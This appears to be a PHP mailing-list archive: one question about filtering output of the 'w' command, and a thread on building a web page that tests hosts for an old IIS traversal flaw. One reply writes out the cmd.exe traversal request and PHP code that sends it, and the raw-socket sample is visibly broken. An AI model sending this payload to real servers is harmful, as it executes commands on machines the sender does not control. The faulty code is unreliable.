For example...if I run "w" I get this output: [root@Lunar]:~> w 11:02am up 56 days, 17:39, 1 user, load average: 0.07, 0.02, 0.00 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT root pts/0brpt-sh6-port214 11:01am 0.00s 0.27s 0.06s w Now what if I just want the infor on the 3rd line, and info about anyone else who is logged in, such as the username, the host, and the time without getting all the uptime and the header info?

Re: [PHP] GET Command
that is basically going to the URL
www.whatever.com/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\
so do what the other guy said
> $site = fopen(http://www.whatever.com/, "r");
> $contents = fread($site, 102400);
> fclose($site);
but like this:
> $site =
fopen(http://www.whatever.com/scripts/..%255c..%255cwinnt/system32/cmd.exe?/
c+dir+c:\, "r");
> $contents = fread($site, 102400);
> fclose($site);
BTW there are MANY MANY MANY versions of this vulenabilty. so just checking
this one won't cover them all. Check out www.SecurityFocus.com and click the
Vulnibilitys link on the left

Re: [PHP] GET Command
MessageHi,
Here's what I'm trying to do:
I want to test an IIS server for an invulnerability. This is done by sending
a GET command to test for it.
Here's a blurb from the security advisory that I am working with:
---snip---
A scan is performed over some region of the Internet, searching for web
servers accepting TCP connections on port 80. A specially formed "HTTP GET"
request is then sent over the accepted connection to the server:
GET /scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\
---snip---
How can I do a simple page where, the user inputs the url (www.whatever.com)
And it runs this test, telling the user if it passes or fails, and returns
the output?
Btw, the security advisory comes from http://grc.com/dos/grcdos.htm which
outlines some very interesting things happening with IRC based DoS attacks,
in case your interested.
Thanks!

Does anyone have a simple script that will GET a web page and return the
reply?
Something like this:
function getpage($host, $path, getstr) {
$getstr="whatever\r\n";
$host=www.whatever.com;
$hdr=sprintf("GET $getstr", $path);
$hdr .="Content-type: application/x-www-form-urlencoded\r\n";

$hdr .="User-Agent: Mozilla/1.0\r\n\r\n";
$fp = fsockopen($host , 80, &$errno, &$errstr, 45);
if (!$fp) {
echo "$host open error: $errstr $errno .\n";
return(0);
} else {
fputs($fp,$hdr.$poststr);
return($fp);
}
}
while (!feof($fp)) {
$buff=fgets($fp, 1024);
//dofoo($buff);
echo "$buff";
}
fclose($fp);
TIA!
